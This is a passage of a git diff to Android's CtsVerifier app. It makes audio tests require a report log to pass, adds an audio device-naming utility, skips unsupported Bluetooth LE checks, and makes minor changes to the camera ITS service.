mMeanConfidence, ResultType.HIGHER_BETTER, ResultUnit.NONE); reportLog.addValue( - makeSectionKey(KEY_MEANABSDEVIATION), + KEY_MEANABSDEVIATION, mMeanAbsoluteDeviation, ResultType.NEUTRAL, ResultUnit.NONE); reportLog.addValue( - makeSectionKey(KEY_TEST_PERIPHERAL), + KEY_TEST_PERIPHERAL, mDeviceName, ResultType.NEUTRAL, ResultUnit.NONE); @@ -294,6 +267,8 @@ public class AudioLoopbackLatencyActivity extends PassFailButtons.Activity { getPassButton().setEnabled(false); setInfoResources(R.string.audio_loopback_latency_test, R.string.audio_loopback_info, -1); + mRequireReportLogToPass = true; + mClaimsOutput = AudioSystemFlags.claimsOutput(this); mClaimsInput = AudioSystemFlags.claimsInput(this); mClaimsProAudio = AudioSystemFlags.claimsProAudio(this); @@ -474,7 +449,6 @@ public class AudioLoopbackLatencyActivity extends PassFailButtons.Activity { mTestSpecs[TESTROUTE_USB].mDeviceName = devInfo.getProductName().toString(); } - // setTestButtonsState(); enableStartButtons(true); } } @@ -533,69 +507,66 @@ public class AudioLoopbackLatencyActivity extends PassFailButtons.Activity { return setTestNameSuffix(sCurrentDisplayMode, "audio_loopback_latency_activity"); } - // Schema + // Test-Schema private static final String KEY_SAMPLE_RATE = "sample_rate"; private static final String KEY_IS_PRO_AUDIO = "is_pro_audio"; private static final String KEY_IS_LOW_LATENCY = "is_low_latency"; private static final String KEY_TEST_MMAP = "supports_mmap"; private static final String KEY_TEST_MMAPEXCLUSIVE = "supports_mmap_exclusive"; private static final String KEY_LEVEL = "level"; - // - // Subclasses should call this explicitly. SubClasses should call submit() after their logs - // - @Override - public void recordTestResults() { - Log.i(TAG, "recordTestResults() mNativeAnalyzerThread:" + mNativeAnalyzerThread); - - // We need to rework that - CtsVerifierReportLog reportLog = getReportLog(); - - int audioLevel = mAudioLevelSeekbar.getProgress(); - reportLog.addValue( - KEY_LEVEL, - audioLevel, - ResultType.NEUTRAL, - ResultUnit.NONE); - - reportLog.addValue( - KEY_IS_PRO_AUDIO, - mClaimsProAudio, - ResultType.NEUTRAL, - ResultUnit.NONE); - - reportLog.addValue( - KEY_TEST_MMAP, - mSupportsMMAP, - ResultType.NEUTRAL, - ResultUnit.NONE); - - reportLog.addValue( - KEY_TEST_MMAPEXCLUSIVE , - mSupportsMMAPExclusive, - ResultType.NEUTRAL, - ResultUnit.NONE); - - if (mNativeAnalyzerThread == null) { - return; // no test results to report - } - reportLog.addValue( - KEY_SAMPLE_RATE, - mNativeAnalyzerThread.getSampleRate(), - ResultType.NEUTRAL, - ResultUnit.NONE); + private void recordRouteResults(int routeIndex) { + if (mTestSpecs[routeIndex].mTestRun) { + CtsVerifierReportLog reportLog = newReportLog(); - reportLog.addValue( - KEY_IS_LOW_LATENCY, - mNativeAnalyzerThread.isLowLatencyStream(), - ResultType.NEUTRAL, - ResultUnit.NONE); + int audioLevel = mAudioLevelSeekbar.getProgress(); + reportLog.addValue( + KEY_LEVEL, + audioLevel, + ResultType.NEUTRAL, + ResultUnit.NONE); - for (TestSpec testSpec : mTestSpecs) { - testSpec.recordTestResults(reportLog); + reportLog.addValue( + KEY_IS_PRO_AUDIO, + mClaimsProAudio, + ResultType.NEUTRAL, + ResultUnit.NONE); + + reportLog.addValue( + KEY_TEST_MMAP, + mSupportsMMAP, + ResultType.NEUTRAL, + ResultUnit.NONE); + + reportLog.addValue( + KEY_TEST_MMAPEXCLUSIVE, + mSupportsMMAPExclusive, + ResultType.NEUTRAL, + ResultUnit.NONE); + + reportLog.addValue( + KEY_SAMPLE_RATE, + mNativeAnalyzerThread.getSampleRate(), + ResultType.NEUTRAL, + ResultUnit.NONE); + + reportLog.addValue( + KEY_IS_LOW_LATENCY, + mNativeAnalyzerThread.isLowLatencyStream(), + ResultType.NEUTRAL, + ResultUnit.NONE); + + mTestSpecs[routeIndex].recordTestResults(reportLog); + + reportLog.submit(); } + } - reportLog.submit(); + @Override + public void recordTestResults() { + for (int route = 0; route < NUM_TEST_ROUTES; route++) { + recordRouteResults(route); + } } private void startAudioTest(Handler messageHandler, int testRouteId) { @@ -658,6 +629,7 @@ public class AudioLoopbackLatencyActivity extends PassFailButtons.Activity { e.printStackTrace(); } + mTestPhase++; if (mTestPhase >= NUM_TEST_PHASES) { handleTestCompletion(); @@ -683,7 +655,8 @@ public class AudioLoopbackLatencyActivity extends PassFailButtons.Activity { mResultsText[mTestRoute].setText(testSpec.getResultString()); LoopbackLatencyRequirements requirements = new LoopbackLatencyRequirements(); - boolean pass = requirements.evaluate(mClaimsProAudio, + boolean pass = isReportLogOkToPass() + && requirements.evaluate(mClaimsProAudio, Build.VERSION.MEDIA_PERFORMANCE_CLASS, mTestSpecs[TESTROUTE_DEVICE].isMeasurementValid() ? mTestSpecs[TESTROUTE_DEVICE].mMeanLatencyMS : 0.0, @@ -694,8 +667,12 @@ public class AudioLoopbackLatencyActivity extends PassFailButtons.Activity { getPassButton().setEnabled(pass); - String resultText = requirements.getResultsString(); - mTestStatusText.setText(resultText); + StringBuilder sb = new StringBuilder(); + if (!isReportLogOkToPass()) { + sb.append(getResources().getString(R.string.audio_general_reportlogtest) + "\n"); + } + sb.append(requirements.getResultsString()); + mTestStatusText.setText(sb.toString()); showWait(false); enableStartButtons(true); diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioOutputRoutingNotificationsActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioOutputRoutingNotificationsActivity.java index 591fe9b6bd4..1ece2f10b28 100644 --- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioOutputRoutingNotificationsActivity.java +++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioOutputRoutingNotificationsActivity.java @@ -32,6 +32,7 @@ import android.widget.TextView; import com.android.compatibility.common.util.ResultType; import com.android.compatibility.common.util.ResultUnit; +import com.android.cts.verifier.audio.audiolib.AudioDeviceUtils; import com.android.cts.verifier.CtsVerifierReportLog; import com.android.cts.verifier.R; @@ -131,13 +132,8 @@ public class AudioOutputRoutingNotificationsActivity extends AudioWiredDeviceBas String msg = mContext.getResources().getString( R.string.audio_routingnotification_trackRoutingMsg); AudioDeviceInfo routedDevice = audioTrack.getRoutedDevice(); - CharSequence deviceName = routedDevice != null ? routedDevice.getProductName() : "none"; - mConnectedPeripheralName = deviceName.toString(); - int deviceType = routedDevice != null ? routedDevice.getType() : -1; - textView.setText(msg + " - " + - deviceName + " [0x" + Integer.toHexString(deviceType) + "]" + - " - " + mNumRoutingNotifications); - + mConnectedPeripheralName = AudioDeviceUtils.formatDeviceName(routedDevice); + textView.setText(msg + ": " + mConnectedPeripheralName); mRoutingNotificationReceived = true; calculatePass(); } diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioTap2ToneActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioTap2ToneActivity.java index 215d26fd65b..8ff23588889 100644 --- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioTap2ToneActivity.java +++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioTap2ToneActivity.java @@ -154,6 +154,8 @@ public class AudioTap2ToneActivity String yesString = getResources().getString(R.string.audio_general_yes); String noString = getResources().getString(R.string.audio_general_no); + mRequireReportLogToPass = true; + boolean claimsProAudio = AudioSystemFlags.claimsProAudio(this); boolean claimsLowLatencyAudio = AudioSystemFlags.claimsLowLatencyAudio(this); @@ -311,11 +313,14 @@ public class AudioTap2ToneActivity } double averageLatency = mLatencyAve[mActiveTestAPI]; - boolean pass = averageLatency != 0 && averageLatency <= mMaxRequiredLatency; + boolean pass = isReportLogOkToPass() + && averageLatency != 0 && averageLatency <= mMaxRequiredLatency; if (pass) { mSpecView.setText("Average: " + averageLatency + " ms <= " + mMaxRequiredLatency + " ms -- PASS"); + } else if (!isReportLogOkToPass()) { + mSpecView.setText(getResources().getString(R.string.audio_general_reportlogtest)); } else { mSpecView.setText("Average: " + averageLatency + " ms > " + mMaxRequiredLatency + " ms -- FAIL"); diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/HifiUltrasoundSpeakerTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/HifiUltrasoundSpeakerTestActivity.java index 3dccf1f1293..cac4659bba0 100644 --- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/HifiUltrasoundSpeakerTestActivity.java +++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/HifiUltrasoundSpeakerTestActivity.java @@ -92,6 +92,15 @@ public class HifiUltrasoundSpeakerTestActivity extends PassFailButtons.Activity } } + boolean getBoolPropValue(final String value) { + if (value == null) { + return false; + } + + return !value.equalsIgnoreCase(getResources().getString( + R.string.hifi_ultrasound_test_default_false_string)); + } + @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); @@ -106,27 +115,17 @@ public class HifiUltrasoundSpeakerTestActivity extends PassFailButtons.Activity info.setText(R.string.hifi_ultrasound_speaker_test_instruction1); AudioManager audioManager = (AudioManager) getSystemService(Context.AUDIO_SERVICE); - String micSupportString = audioManager.getProperty( - AudioManager.PROPERTY_SUPPORT_MIC_NEAR_ULTRASOUND); - String spkrSupportString = audioManager.getProperty( - AudioManager.PROPERTY_SUPPORT_SPEAKER_NEAR_ULTRASOUND); - Log.d(TAG, "PROPERTY_SUPPORT_MIC_NEAR_ULTRASOUND = " + micSupportString); - Log.d(TAG, "PROPERTY_SUPPORT_SPEAKER_NEAR_ULTRASOUND = " + spkrSupportString); - - if (micSupportString == null) { - micSupportString = "null"; - } - if (spkrSupportString == null) { - spkrSupportString = "null"; - } - if (micSupportString.equalsIgnoreCase(getResources().getString( - R.string.hifi_ultrasound_test_default_false_string))) { - micSupport = false; + micSupport = getBoolPropValue(audioManager.getProperty( + AudioManager.PROPERTY_SUPPORT_MIC_NEAR_ULTRASOUND)); + spkrSupport = getBoolPropValue(audioManager.getProperty( + AudioManager.PROPERTY_SUPPORT_SPEAKER_NEAR_ULTRASOUND)); + Log.d(TAG, "PROPERTY_SUPPORT_MIC_NEAR_ULTRASOUND = " + micSupport); + Log.d(TAG, "PROPERTY_SUPPORT_SPEAKER_NEAR_ULTRASOUND = " + spkrSupport); + + if (!micSupport) { info.append(getResources().getString(R.string.hifi_ultrasound_speaker_test_mic_no_support)); } - if (spkrSupportString.equalsIgnoreCase(getResources().getString( - R.string.hifi_ultrasound_test_default_false_string))) { - spkrSupport = false; + if (!spkrSupport) { getPassButton().setEnabled(true); info.append(getResources().getString(R.string.hifi_ultrasound_speaker_test_spkr_no_support)); } diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/HifiUltrasoundTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/HifiUltrasoundTestActivity.java index f5e4271e981..5f1be3899e8 100644 --- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/HifiUltrasoundTestActivity.java +++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/HifiUltrasoundTestActivity.java @@ -75,6 +75,15 @@ public class HifiUltrasoundTestActivity extends PassFailButtons.Activity { } } + boolean getBoolPropValue(final String value) { + if (value == null) { + return false; + } + + return !value.equalsIgnoreCase(getResources().getString( + R.string.hifi_ultrasound_test_default_false_string)); + } + @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); @@ -88,29 +97,19 @@ public class HifiUltrasoundTestActivity extends PassFailButtons.Activity { info.setText(R.string.hifi_ultrasound_test_instruction1); AudioManager audioManager = (AudioManager) getSystemService(Context.AUDIO_SERVICE); - String micSupportString = audioManager.getProperty( - AudioManager.PROPERTY_SUPPORT_MIC_NEAR_ULTRASOUND); - String spkrSupportString = audioManager.getProperty( - AudioManager.PROPERTY_SUPPORT_SPEAKER_NEAR_ULTRASOUND); - Log.d(TAG, "PROPERTY_SUPPORT_MIC_NEAR_ULTRASOUND = " + micSupportString); - Log.d(TAG, "PROPERTY_SUPPORT_SPEAKER_NEAR_ULTRASOUND = " + spkrSupportString); - - if (micSupportString == null) { - micSupportString = "null"; - } - if (spkrSupportString == null) { - spkrSupportString = "null"; - } - if (micSupportString.equalsIgnoreCase(getResources().getString( - R.string.hifi_ultrasound_test_default_false_string))) { - micSupport = false; + micSupport = getBoolPropValue(audioManager.getProperty( + AudioManager.PROPERTY_SUPPORT_MIC_NEAR_ULTRASOUND)); + spkrSupport = getBoolPropValue(audioManager.getProperty( + AudioManager.PROPERTY_SUPPORT_SPEAKER_NEAR_ULTRASOUND)); + Log.d(TAG, "PROPERTY_SUPPORT_MIC_NEAR_ULTRASOUND = " + micSupport); + Log.d(TAG, "PROPERTY_SUPPORT_SPEAKER_NEAR_ULTRASOUND = " + spkrSupport); + + if (!micSupport) { getPassButton().setEnabled(true); getPassButton().performClick(); info.append(getResources().getString(R.string.hifi_ultrasound_test_mic_no_support)); } - if (spkrSupportString.equalsIgnoreCase(getResources().getString( - R.string.hifi_ultrasound_test_default_false_string))) { - spkrSupport = false; + if (!spkrSupport) { info.append(getResources().getString(R.string.hifi_ultrasound_test_spkr_no_support)); } diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/ProAudioActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/ProAudioActivity.java index 126d15fdacb..e93d2b319ff 100644 --- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/ProAudioActivity.java +++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/ProAudioActivity.java @@ -158,11 +158,9 @@ public class ProAudioActivity boolean usbOK = mClaimsUSBHostMode && mClaimsUSBPeripheralMode; boolean hdmiOK = !mClaimsHDMI || isHDMIValid(); - boolean hasPassed = !mClaimsProAudio || - (mClaimsLowLatencyAudio && - mClaimsMIDI && - usbOK && - hdmiOK); + boolean hasPassed = isReportLogOkToPass() + && !mClaimsProAudio + || (mClaimsLowLatencyAudio && mClaimsMIDI && usbOK && hdmiOK); getPassButton().setEnabled(hasPassed); return hasPassed; @@ -172,7 +170,9 @@ public class ProAudioActivity boolean hasPassed = calculatePass(); Resources strings = getResources(); - if (hasPassed) { + if (!isReportLogOkToPass()) { + mTestStatusLbl.setText(getResources().getString(R.string.audio_general_reportlogtest)); + } else if (hasPassed) { mTestStatusLbl.setText(strings.getString(R.string.audio_proaudio_pass)); } else if (!mClaimsMIDI) { mTestStatusLbl.setText(strings.getString(R.string.audio_proaudio_midinotreported)); diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralNotificationsTest.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralNotificationsTest.java index bc23048c28e..6270a5a8311 100644 --- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralNotificationsTest.java +++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralNotificationsTest.java @@ -20,23 +20,17 @@ import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.content.IntentFilter; - import android.media.AudioDeviceCallback; import android.media.AudioDeviceInfo; import android.media.AudioManager; - import android.os.Bundle; import android.os.Handler; - import android.util.Log; - import android.widget.TextView; import com.android.compatibility.common.util.CddTest; -import com.android.compatibility.common.util.ReportLog; import com.android.compatibility.common.util.ResultType; import com.android.compatibility.common.util.ResultUnit; - import com.android.cts.verifier.PassFailButtons; import com.android.cts.verifier.R; // needed to access resource in CTSVerifier project namespace. @@ -173,9 +167,10 @@ public class USBAudioPeripheralNotificationsTest extends PassFailButtons.Activit // Test Status // private boolean calculatePass() { - return mUsbHeadsetInReceived && mUsbHeadsetOutReceived && - mUsbDeviceInReceived && mUsbDeviceOutReceived && - mPlugIntentReceived; + return isReportLogOkToPass() + && mUsbHeadsetInReceived && mUsbHeadsetOutReceived + && mUsbDeviceInReceived && mUsbDeviceOutReceived + && mPlugIntentReceived; } // diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/AudioDeviceUtils.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/AudioDeviceUtils.java new file mode 100644 index 00000000000..c066942215e --- /dev/null +++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/AudioDeviceUtils.java @@ -0,0 +1,91 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.android.cts.verifier.audio.audiolib; + +import android.media.AudioDeviceInfo; + +import java.util.HashMap; + +/** + * Utility methods for AudioDevices + */ +public class AudioDeviceUtils { + /* + * Channel Mask Utilities + */ + private static final HashMap<Integer, String> sDeviceTypeStrings = + new HashMap<Integer, String>(); + + private static void initDeviceTypeStrings() { + sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_UNKNOWN, "TYPE_UNKNOWN"); + sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_BUILTIN_EARPIECE, "TYPE_BUILTIN_EARPIECE"); + sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_BUILTIN_SPEAKER, "TYPE_BUILTIN_SPEAKER"); + sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_WIRED_HEADSET, "TYPE_WIRED_HEADSET"); + sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_WIRED_HEADPHONES, "TYPE_WIRED_HEADPHONES"); + sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_LINE_ANALOG, "TYPE_LINE_ANALOG"); + sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_LINE_DIGITAL, "TYPE_LINE_DIGITAL"); + sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_BLUETOOTH_SCO, "TYPE_BLUETOOTH_SCO"); + sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_BLUETOOTH_A2DP, "TYPE_BLUETOOTH_A2DP"); + sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_HDMI, "TYPE_HDMI"); + sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_HDMI_ARC, "TYPE_HDMI_ARC"); + sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_USB_DEVICE, "TYPE_USB_DEVICE"); + sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_USB_ACCESSORY, "TYPE_USB_ACCESSORY"); + sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_DOCK, "TYPE_DOCK"); + sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_FM, "TYPE_FM"); + sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_BUILTIN_MIC, "TYPE_BUILTIN_MIC"); + sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_FM_TUNER, "TYPE_FM_TUNER"); + sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_TV_TUNER, "TYPE_TV_TUNER"); + sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_TELEPHONY, "TYPE_TELEPHONY"); + sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_AUX_LINE, "TYPE_AUX_LINE"); + sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_IP, "TYPE_IP"); + sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_BUS, "TYPE_BUS"); + sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_USB_HEADSET, "TYPE_USB_HEADSET"); + sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_HEARING_AID, "TYPE_HEARING_AID"); + sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_BUILTIN_SPEAKER_SAFE, + "TYPE_BUILTIN_SPEAKER_SAFE"); + sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_REMOTE_SUBMIX, "TYPE_REMOTE_SUBMIX"); + sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_BLE_HEADSET, "TYPE_BLE_HEADSET"); + sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_BLE_SPEAKER, "TYPE_BLE_SPEAKER"); + sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_ECHO_REFERENCE, "TYPE_ECHO_REFERENCE"); + sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_HDMI_EARC, "TYPE_HDMI_EARC"); + sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_BLE_BROADCAST, "TYPE_BLE_BROADCAST"); + } + + static { + initDeviceTypeStrings(); + } + + /** + * @param deviceType + * @return a human-readable device type name. + */ + public static String getDeviceTypeName(int deviceType) { + String typeName = sDeviceTypeStrings.get(deviceType); + return typeName != null ? typeName : "invalid type"; + } + + /** + * @param deviceInfo + * @return A human-readable description of the specified DeviceInfo + */ + public static String formatDeviceName(AudioDeviceInfo deviceInfo) { + StringBuilder sb = new StringBuilder(); + sb.append(deviceInfo.getProductName()); + sb.append(" - " + getDeviceTypeName(deviceInfo.getType())); + return sb.toString(); + } +} diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleAdvertisingSetTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleAdvertisingSetTestActivity.java index 803c385f33f..164992b94a9 100644 --- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleAdvertisingSetTestActivity.java +++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleAdvertisingSetTestActivity.java @@ -244,6 +244,16 @@ public class BleAdvertisingSetTestActivity extends PassFailButtons.Activity { // The following order of commands follows the diagram of Bluetooth Core Specification, // Version 5.3, Vol 6, Part D, Figure 3.7: Periodic advertising. private void testPeriodicAdvertising() throws InterruptedException { + if (!mBluetoothAdapter.isLePeriodicAdvertisingSupported()) { + mAllTestsPassed |= PASS_FLAG_SET_PERIODIC_ADVERTISING_PARAMS + | PASS_FLAG_SET_PERIODIC_ADVERTISING_DATA + | PASS_FLAG_SET_PERIODIC_ADVERTISING_ENABLED_DISABLED; + mTestAdapter.setTestPass(TEST_ADAPTER_INDEX_SET_PERIODIC_ADVERTISING_PARAMS); + mTestAdapter.setTestPass(TEST_ADAPTER_INDEX_SET_PERIODIC_ADVERTISING_DATA); + mTestAdapter.setTestPass(TEST_ADAPTER_INDEX_SET_PERIODIC_ADVERTISING_ENABLED_DISABLED); + return; + } + mCallback.reset(); mCallback.mAdvertisingSet.get().setAdvertisingParameters( diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientService.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientService.java index 3c1c58baee7..21e2877e1e6 100644 --- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientService.java +++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientService.java @@ -120,6 +120,8 @@ public class BleClientService extends Service { "com.android.cts.verifier.bluetooth.BLE_READ_REMOTE_RSSI"; public static final String BLE_PHY_READ = "com.android.cts.verifier.bluetooth.BLE_PHY_READ"; + public static final String BLE_PHY_READ_SKIPPED = + "com.android.cts.verifier.bluetooth.BLE_PHY_READ_SKIPPED"; public static final String BLE_ON_SERVICE_CHANGED = "com.android.cts.verifier.bluetooth.BLE_ON_SERVICE_CHANGED"; public static final String BLE_CHARACTERISTIC_READ_NOPERMISSION = @@ -907,6 +909,12 @@ public class BleClientService extends Service { sendBroadcast(intent); } + private void notifyPhyReadSkipped() { + showMessage("Phy read not supported. Skipping the test."); + Intent intent = new Intent(BLE_PHY_READ_SKIPPED); + sendBroadcast(intent); + } + private void notifyServiceChanged() { showMessage("Remote service changed"); Intent intent = new Intent(BLE_ON_SERVICE_CHANGED); @@ -1429,10 +1437,12 @@ public class BleClientService extends Service { public void onPhyRead(BluetoothGatt gatt, int txPhy, int rxPhy, int status) { super.onPhyRead(gatt, txPhy, rxPhy, status); if (DEBUG) { - Log.d(TAG, "onPhyRead"); + Log.d(TAG, "onPhyRead status=" + status); } if (status == BluetoothGatt.GATT_SUCCESS) { notifyPhyRead(txPhy, rxPhy); + } else if (status == BluetoothGatt.GATT_REQUEST_NOT_SUPPORTED) { + notifyPhyReadSkipped(); } else { notifyError("Failed to read phy"); } diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientTestBaseActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientTestBaseActivity.java index 357bb142aa3..2a7c8b40b18 100644 --- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientTestBaseActivity.java +++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientTestBaseActivity.java @@ -127,6 +127,7 @@ public class BleClientTestBaseActivity extends PassFailButtons.Activity { filter.addAction(BleClientService.BLE_RELIABLE_WRITE_BAD_RESP_COMPLETED); filter.addAction(BleClientService.BLE_READ_REMOTE_RSSI); filter.addAction(BleClientService.BLE_PHY_READ); + filter.addAction(BleClientService.BLE_PHY_READ_SKIPPED); filter.addAction(BleClientService.BLE_ON_SERVICE_CHANGED); filter.addAction(BleClientService.BLE_CHARACTERISTIC_READ_NOPERMISSION); filter.addAction(BleClientService.BLE_CHARACTERISTIC_WRITE_NOPERMISSION); @@ -375,6 +376,7 @@ public class BleClientTestBaseActivity extends PassFailButtons.Activity { newAction = BleClientService.BLE_CLIENT_ACTION_READ_PHY; break; case BleClientService.BLE_PHY_READ: + case BleClientService.BLE_PHY_READ_SKIPPED: actionName = getString(R.string.ble_read_phy_name); mTestAdapter.setTestPass(BLE_READ_PHY); mPassed |= PASS_FLAG_READ_PHY; diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleSecureClientTestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleSecureClientTestListActivity.java index feba59c048b..cde35beb8f6 100644 --- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleSecureClientTestListActivity.java +++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleSecureClientTestListActivity.java @@ -40,6 +40,13 @@ public class BleSecureClientTestListActivity extends PassFailButtons.TestListAct BluetoothAdapter adapter = BluetoothAdapter.getDefaultAdapter();
List<String> disabledTest = new ArrayList<String>();
+
+ // Temporarily disable this test (b/235763737).
+ disabledTest.add(
+ "com.android.cts.verifier.bluetooth.BleSecureConnectionPriorityClientTestActivity");
+ disabledTest.add(
+ "com.android.cts.verifier.bluetooth.BleSecureEncryptedClientTestActivity");
+
if (adapter == null || !adapter.isOffloadedFilteringSupported()) {
disabledTest.add(
"com.android.cts.verifier.bluetooth.BleAdvertiserHardwareScanFilterActivity.");
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleSecureServerTestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleSecureServerTestListActivity.java index 06d6dabacd2..6fc3b872754 100644 --- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleSecureServerTestListActivity.java +++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleSecureServerTestListActivity.java @@ -37,6 +37,12 @@ public class BleSecureServerTestListActivity extends PassFailButtons.TestListAct BluetoothAdapter adapter = BluetoothAdapter.getDefaultAdapter();
List<String> disabledTest = new ArrayList<String>();
+ // Temporarily disable this test (b/235763737).
+ disabledTest.add(
+ "com.android.cts.verifier.bluetooth.BleSecureConnectionPriorityServerTestActivity");
+ disabledTest.add(
+ "com.android.cts.verifier.bluetooth.BleSecureEncryptedServerTestActivity");
+
if (adapter == null || !adapter.isOffloadedFilteringSupported()) {
disabledTest.add(
"com.android.cts.verifier.bluetooth.BleAdvertiserHardwareScanFilterActivity.");
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java index 1349767889f..1ac6b0f67e8 100644 --- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java +++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java @@ -32,6 +32,7 @@ import android.content.Intent; import android.content.pm.ServiceInfo; import android.graphics.ImageFormat; import android.graphics.Rect; +import android.graphics.SurfaceTexture; import android.hardware.HardwareBuffer; import android.hardware.Sensor; import android.hardware.SensorEvent; @@ -241,6 +242,8 @@ public class ItsService extends Service implements SensorEventListener { final Object m3AStateLock = new Object(); private volatile boolean mConvergedAE = false; + private volatile boolean mPrecaptureTriggered = false; + private volatile boolean mConvergeAETriggered = false; private volatile boolean mConvergedAF = false; private volatile boolean mConvergedAWB = false; private volatile boolean mLockedAE = false; @@ -821,6 +824,8 @@ public class ItsService extends Service implements SensorEventListener { String cameraId = cmdObj.getString("cameraId"); int profileId = cmdObj.getInt("profileId"); doCheckHLG10Support(cameraId, profileId); + } else if ("doCaptureWithFlash".equals(cmdObj.getString("cmdName"))) { + doCaptureWithFlash(cmdObj); } else { throw new ItsException("Unknown command: " + cmd); } @@ -1031,7 +1036,9 @@ public class ItsService extends Service implements SensorEventListener { @Override public void onImageAvailable(ImageReader reader) { Image i = reader.acquireNextImage(); - i.close(); + if (i != null) { + i.close(); + } } }; } @@ -1842,6 +1849,8 @@ public class ItsService extends Service implements SensorEventListener { // s1440p which is the max supported stream size in a combination, when preview // stabilization is on. Size maxPreviewSize = new Size(1920, 1440); + // QCIF, we test only sizes >= this. + Size minPreviewSize = new Size(176, 144); Size[] outputSizes = configMap.getOutputSizes(ImageFormat.YUV_420_888); if (outputSizes == null) { mSocketRunnableObj.sendResponse("supportedPreviewSizes", ""); @@ -1852,6 +1861,8 @@ public class ItsService extends Service implements SensorEventListener { .distinct() .filter(s -> s.getWidth() * s.getHeight() <= maxPreviewSize.getWidth() * 